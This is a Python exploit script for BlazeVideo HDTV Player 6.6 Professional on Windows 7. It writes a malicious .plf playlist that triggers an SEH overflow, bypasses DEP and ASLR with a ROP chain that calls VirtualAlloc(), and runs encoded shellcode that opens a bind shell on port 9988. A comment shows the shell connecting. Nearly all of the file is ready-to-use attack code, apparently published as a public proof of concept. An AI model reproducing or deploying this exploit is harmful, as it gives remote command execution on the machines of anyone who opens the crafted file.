#!/usr/bin/python -w

#-----------------------------------------------------------------------------------#
# Exploit: BlazeVideo HDTV Player 6.6 Professional SEH&DEP&ASLR                     #
# Author: b33f - http://www.fuzzysecurity.com/                                      #
# OS: Tested on Windows 7 32-bit PRO SP1                                            #
# Software Link: http://www.blazevideo.com/download.htm                             #
#                Pro v6.6 - Apr 12, 2011                                            #
#-----------------------------------------------------------------------------------#
# The opportunity to secure ourselves against defeat lies in our own hands          #
# but the opportunity of defeating the enemy is provided by the enemy himself.      #
# - Sun Tzu                                                                         #
#-----------------------------------------------------------------------------------#
# Special thanks:                                                                   #
# Lincoln - Thx for the assist!                                                     #
# corelanc0d3r - Thx for taking the time to go over my work and pointing me         #
#                at VirtualAlloc()!                                                 #                                  
#-----------------------------------------------------------------------------------#
# root@bt:~# nc -nv 192.168.111.129 9988                                            #
# (UNKNOWN) [192.168.111.129] 9988 (?) open                                         #
# Microsoft Windows [Version 6.1.7601]                                              #
# Copyright (c) 2009 Microsoft Corporation.  All rights reserved.                   #
#                                                                                   #
# C:\Program Files\BlazeVideo\BlazeVideo HDTV Player 6.6 Professional>              #
#-----------------------------------------------------------------------------------#

filename="blaze.plf"

#-----------------------------Pivot-Align-----------------------------#
SEH = "\x95\x53\x30\x61"  # Pivot; ADD ESP,800 # RETN
pad = "b33f"*35           # pad ESP to our alignment (140-bytes)

#------------------Save Stack Pointer in EDI&EAX&ESI------------------#
stack = (
"\xC5\x30\x03\x64"  # PUSH ESP # MOV EAX,EDI # POP EDI # POP ESI # RETN
"\x41\x41\x41\x41"  # Padding for POP ESI
"\x24\x60\x02\x64"  # PUSH ESP # POP ESI # RETN
"\xEE\x65\x03\x64"  # XCHG EAX,ESI # RETN
"\x24\x60\x02\x64"  # PUSH ESP # POP ESI # RETN
"\xBF\xCD\x02\x64") # ADD ESP,20 # RETN

#----------------------------VirtualAlloc()---------------------------#
params = (
"\xB4\x11\x34\x60"  # VirtualAlloc()
"WWWW"              # lpAddress \ We need this value twice for alignment!
"WWWW"              # lpAddress /
"XXXX"              # dwSize (0x1)
"YYYY"              # flAllocationType (0x1000)
"ZZZZ"              # flProtect (0x40)
"\x41\x41\x41\x41"  # Padding
"\x41\x41\x41\x41") # Padding

#-----------------------ROP Chain - lpAddress-------------------------#
rop = (
"\xF7\x24\x03\x64"  # ADD EAX,20 # RETN  \
"\xF7\x24\x03\x64"  # ADD EAX,20 # RETN  |
"\xF7\x24\x03\x64"  # ADD EAX,20 # RETN  |
"\xF7\x24\x03\x64"  # ADD EAX,20 # RETN  |
"\xF7\x24\x03\x64"  # ADD EAX,20 # RETN  |
"\xF7\x24\x03\x64"  # ADD EAX,20 # RETN  |
"\xF7\x24\x03\x64"  # ADD EAX,20 # RETN  |
"\xF7\x24\x03\x64"  # ADD EAX,20 # RETN  | ADD EAX 1E0
"\xF7\x24\x03\x64"  # ADD EAX,20 # RETN  |
"\xF7\x24\x03\x64"  # ADD EAX,20 # RETN  |
"\xF7\x24\x03\x64"  # ADD EAX,20 # RETN  |
"\xF7\x24\x03\x64"  # ADD EAX,20 # RETN  |
"\xF7\x24\x03\x64"  # ADD EAX,20 # RETN  |
"\xF7\x24\x03\x64"  # ADD EAX,20 # RETN  |
"\xF7\x24\x03\x64"  # ADD EAX,20 # RETN  /
"\xCB\x06\x11\x64"  # DEC ESI # AND BYTE PTR DS:[EDI-18],DL # RETN \
"\xCB\x06\x11\x64"  # DEC ESI # AND BYTE PTR DS:[EDI-18],DL # RETN |
"\xCB\x06\x11\x64"  # DEC ESI # AND BYTE PTR DS:[EDI-18],DL # RETN | DEC ESI 8
"\xCB\x06\x11\x64"  # DEC ESI # AND BYTE PTR DS:[EDI-18],DL # RETN | We need lpAddress twice to return to the proper 
"\xCB\x06\x11\x64"  # DEC ESI # AND BYTE PTR DS:[EDI-18],DL # RETN | place after executing VirtualAlloc(), the lpAddress
"\xCB\x06\x11\x64"  # DEC ESI # AND BYTE PTR DS:[EDI-18],DL # RETN | parameters are located at ESI+10 and ESI+14
"\xCB\x06\x11\x64"  # DEC ESI # AND BYTE PTR DS:[EDI-18],DL # RETN |
"\xCB\x06\x11\x64"  # DEC ESI # AND BYTE PTR DS:[EDI-18],DL # RETN /
"\xCA\xB5\x33\x60"  # MOV DWORD PTR DS:[ESI+10],EAX # MOV DWORD PTR DS:[ESI+14],EAX # MOV EAX,ESI # POP ESI # POP EBX # RETN
"\x41\x41\x41\x41"  # Padding for POP ESI
"\x41\x41\x41\x41"  # Padding for POP EBX

#------------------------ROP Chain - dwSize---------------------------#
"\xD3\xB1\x04\x64"  # PUSH EAX # POP ESI # RETN 04
"\xCA\x71\x04\x64"  # XCHG EAX,EDI # ADD EAX,2EB0000 # XOR EAX,EAX # RETN 04
"\x41\x41\x41\x41"  # Padding for RETN 04
"\x6D\xA1\x03\x64"  # INC EAX # RETN
"\x41\x41\x41\x41"  # Padding for RETN 04
"\x15\x14\x03\x64"  # INC ESI # RETN
"\x15\x14\x03\x64"  # INC ESI # RETN
"\x15\x14\x03\x64"  # INC ESI # RETN
"\x15\x14\x03\x64"  # INC ESI # RETN
"\x90\x73\x64\x61"  # MOV DWORD PTR DS:[ESI+14],EAX # MOV EAX,ESI # POP ESI # POP EBX # RETN
"\x41\x41\x41\x41"  # Padding for POP ESI
"\x41\x41\x41\x41"  # Padding for POP EBX

#-------------------ROP Chain - flAllocationType----------------------#
"\xD3\xB1\x04\x64"  # PUSH EAX # POP ESI # RETN 04
"\xCA\x71\x04\x64"  # XCHG EAX,EDI # ADD EAX,2EB0000 # XOR EAX,EAX # RETN 04
"\x41\x41\x41\x41"  # Padding for RETN 04
"\x13\x30\x10\x64"  # POP EAX # RETN
"\x41\x41\x41\x41"  # Padding for RETN 04
"\xFF\xEF\xFF\xFF"  # 0xFFFFEFFF
"\xCB\x6E\x33\x61"  # NEG EAX # RETN
"\x2C\x4E\x10\x64"  # DEC EAX # RETN
"\x15\x14\x03\x64"  # INC ESI # RETN
"\x15\x14\x03\x64"  # INC ESI # RETN
"\x15\x14\x03\x64"  # INC ESI # RETN
"\x15\x14\x03\x64"  # INC ESI # RETN
"\x90\x73\x64\x61"  # MOV DWORD PTR DS:[ESI+14],EAX # MOV EAX,ESI # POP ESI # POP EBX # RETN
"\x41\x41\x41\x41"  # Padding for POP ESI
"\x41\x41\x41\x41"  # Padding for POP EBX

#-----------------------ROP Chain - flProtect-------------------------#
"\xD3\xB1\x04\x64"  # PUSH EAX # POP ESI # RETN 04
"\xCA\x71\x04\x64"  # XCHG EAX,EDI # ADD EAX,2EB0000 # XOR EAX,EAX # RETN 04
"\x41\x41\x41\x41"  # Padding for RETN 04
"\xF7\x24\x03\x64"  # ADD EAX,20 # RETN
"\x41\x41\x41\x41"  # Padding for RETN 04
"\xF7\x24\x03\x64"  # ADD EAX,20 # RETN
"\x15\x14\x03\x64"  # INC ESI # RETN
"\x15\x14\x03\x64"  # INC ESI # RETN
"\x15\x14\x03\x64"  # INC ESI # RETN
"\x15\x14\x03\x64"  # INC ESI # RETN
"\x90\x73\x64\x61"  # MOV DWORD PTR DS:[ESI+14],EAX # MOV EAX,ESI # POP ESI # POP EBX # RETN
"\x41\x41\x41\x41"  # Padding for POP ESI
"\x41\x41\x41\x41"  # Padding for POP EBX

#-----------------ROP Chain - Fix PTR VirtualAlloc()------------------#
"\xD3\xB1\x04\x64"  # PUSH EAX # POP ESI # RETN 04
"\x0B\xA8\x03\x64"  # MOV EAX,DWORD PTR DS:[EAX] # RETN
"\x41\x41\x41\x41"  # Padding for RETN 04
"\x0B\xA8\x03\x64"  # MOV EAX,DWORD PTR DS:[EAX] # RETN
"\x64\x40\x04\x64"  # MOV DWORD PTR DS:[ESI],EAX # POP ESI # RETN
"\x41\x41\x41\x41"  # Padding for POP ESI
"\x16\xA4\x04\x64"  # MOV EAX,EDI # POP EDI # POP ESI # RETN
"\x41\x41\x41\x41"  # Padding for POP EDI
"\x41\x41\x41\x41"  # Padding for POP ESI
"\x6D\xA1\x03\x64"  # INC EAX # RETN
"\x6D\xA1\x03\x64"  # INC EAX # RETN
"\x6D\xA1\x03\x64"  # INC EAX # RETN
"\x6D\xA1\x03\x64"  # INC EAX # RETN
"\xC6\x2A\x03\x64") # PUSH EAX # POP ESP # RETN

#-------------------------------------------------------------------------------------#
# We have an ample amount of space...                                                 #
# msfpayload windows/shell_bind_tcp LPORT=9988 R| msfencode -e x86/alpha_mixed -t c   #
# [*] x86/alpha_mixed succeeded with size 743 (iteration=1)                           #
#-------------------------------------------------------------------------------------#
shellcode = (
"\x89\xe5\xda\xd8\xd9\x75\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a\x4a"
"\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37\x52\x59\x6a\x41"
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"
"\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x39"
"\x6c\x79\x78\x6b\x39\x63\x30\x57\x70\x55\x50\x31\x70\x6b\x39"
"\x39\x75\x30\x31\x78\x52\x45\x34\x6e\x6b\x70\x52\x36\x50\x6e"
"\x6b\x32\x72\x34\x4c\x4c\x4b\x50\x52\x77\x64\x4c\x4b\x50\x72"
"\x74\x68\x54\x4f\x68\x37\x31\x5a\x51\x36\x65\x61\x6b\x4f\x74"
"\x71\x59\x50\x6e\x4c\x75\x6c\x75\x31\x53\x4c\x63\x32\x54\x6c"
"\x31\x30\x4f\x31\x38\x4f\x44\x4d\x56\x61\x78\x47\x6b\x52\x78"
"\x70\x76\x32\x73\x67\x4e\x6b\x43\x62\x52\x30\x4e\x6b\x70\x42"
"\x37\x4c\x43\x31\x4a\x70\x4e\x6b\x67\x30\x42\x58\x6d\x55\x6f"
"\x30\x31\x64\x62\x6a\x37\x71\x7a\x70\x62\x70\x4e\x6b\x42\x68"
"\x72\x38\x6e\x6b\x32\x78\x75\x70\x67\x71\x4b\x63\x6d\x33\x45"
"\x6c\x73\x79\x4c\x4b\x57\x44\x6e\x6b\x43\x31\x5a\x76\x66\x51"
"\x4b\x4f\x65\x61\x79\x50\x6e\x4c\x6f\x31\x38\x4f\x44\x4d\x36"
"\x61\x48\x47\x47\x48\x6d\x30\x53\x45\x6c\x34\x56\x63\x51\x6d"
"\x58\x78\x55\x6b\x63\x4d\x55\x74\x61\x65\x6a\x42\x36\x38\x4c"
"\x4b\x36\x38\x77\x54\x36\x61\x38\x53\x31\x76\x4e\x6b\x34\x4c"
"\x72\x6b\x4c\x4b\x53\x68\x67\x6c\x77\x71\x39\x43\x4e\x6b\x66"
"\x64\x4c\x4b\x43\x31\x48\x50\x4c\x49\x53\x74\x35\x74\x35\x74"
"\x43\x6b\x33\x6b\x30\x61\x73\x69\x71\x4a\x62\x71\x49\x6f\x6d"
"\x30\x50\x58\x31\x4f\x61\x4a\x4e\x6b\x42\x32\x38\x6b\x6d\x56"
"\x43\x6d\x33\x58\x75\x63\x74\x72\x57\x70\x35\x50\x50\x68\x42"
"\x57\x51\x63\x70\x32\x43\x6f\x73\x64\x33\x58\x32\x6c\x51\x67"
"\x56\x46\x76\x67\x6b\x4f\x4b\x65\x6f\x48\x6c\x50\x63\x31\x63"
"\x30\x73\x30\x37\x59\x78\x44\x72\x74\x32\x70\x55\x38\x64\x69"
"\x6d\x50\x50\x6b\x43\x30\x69\x6f\x4e\x35\x72\x70\x72\x70\x56"
"\x30\x42\x70\x63\x70\x50\x50\x61\x50\x62\x70\x30\x68\x79\x7a"
"\x76\x6f\x4b\x6f\x6d\x30\x59\x6f\x79\x45\x4e\x69\x79\x57\x44"
"\x71\x39\x4b\x56\x33\x65\x38\x76\x62\x35\x50\x57\x57\x76\x64"
"\x6d\x59\x6b\x56\x51\x7a\x62\x30\x33\x66\x56\x37\x65\x38\x59"
"\x52\x49\x4b\x77\x47\x55\x37\x59\x6f\x59\x45\x46\x33\x51\x47"
"\x45\x38\x6c\x77\x39\x79\x65\x68\x39\x6f\x59\x6f\x6b\x65\x46"
"\x33\x56\x33\x73\x67\x72\x48\x74\x34\x7a\x4c\x37\x4b\x59\x71"
"\x6b\x4f\x68\x55\x61\x47\x6f\x79\x78\x47\x43\x58\x50\x75\x62"
"\x4e\x70\x4d\x53\x51\x49\x6f\x7a\x75\x35\x38\x32\x43\x30\x6d"
"\x42\x44\x75\x50\x6c\x49\x48\x63\x72\x77\x46\x37\x33\x67\x56"
"\x51\x69\x66\x42\x4a\x57\x62\x50\x59\x70\x56\x59\x72\x69\x6d"
"\x43\x56\x4b\x77\x77\x34\x75\x74\x77\x4c\x77\x71\x56\x61\x4c"
"\x4d\x37\x34\x31\x34\x44\x50\x58\x46\x37\x70\x51\x54\x31\x44"
"\x52\x70\x42\x76\x46\x36\x51\x46\x67\x36\x43\x66\x50\x4e\x43"
"\x66\x42\x76\x43\x63\x71\x46\x45\x38\x53\x49\x48\x4c\x37\x4f"
"\x4b\x36\x59\x6f\x58\x55\x4b\x39\x6b\x50\x62\x6e\x56\x36\x61"
"\x56\x4b\x4f\x30\x30\x31\x78\x77\x78\x4e\x67\x47\x6d\x33\x50"
"\x49\x6f\x6b\x65\x4d\x6b\x48\x70\x6d\x65\x4e\x42\x32\x76\x65"
"\x38\x59\x36\x4f\x65\x6f\x4d\x4d\x4d\x49\x6f\x78\x55\x47\x4c"
"\x33\x36\x71\x6c\x57\x7a\x4b\x30\x39\x6b\x6b\x50\x53\x45\x64"
"\x45\x4f\x4b\x53\x77\x75\x43\x44\x32\x50\x6f\x32\x4a\x43\x30"
"\x50\x53\x49\x6f\x48\x55\x41\x41")

ph33r = "\x90"*160 + shellcode
b00m = SEH + pad + stack + params + rop + ph33r

buffer = "A"*872 + b00m + "B"*(4128-len(b00m))

textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()